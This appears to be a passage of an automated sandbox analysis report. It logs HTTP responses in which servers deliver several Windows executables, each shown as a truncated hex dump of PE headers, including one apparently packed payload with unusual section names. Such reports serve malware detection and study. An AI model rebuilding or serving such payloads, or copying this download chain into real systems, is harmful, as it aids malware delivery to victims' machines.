54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 01:27:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 01:27:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 01:27:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 01:27:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 01:27:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 01:27:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 28 Nov 2024 01:27:56 GMTContent-Type: application/octet-streamContent-Length: 1915904Last-Modified: Thu, 28 Nov 2024 01:14:03 GMTConnection: keep-aliveETag: "6747c3db-1d3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4c 00 00 04 00 00 44 9e 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c cf 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c cf 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 61 70 61 69 70 6b 61 00 20 1a 00 00 b0 31 00 00 20 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 76 6c 7a 66 70 61 74 00 10 00 00 00 d0 4b 00 00 04 00 00 00 16 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4b 00 00 22 00 00 00 1a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 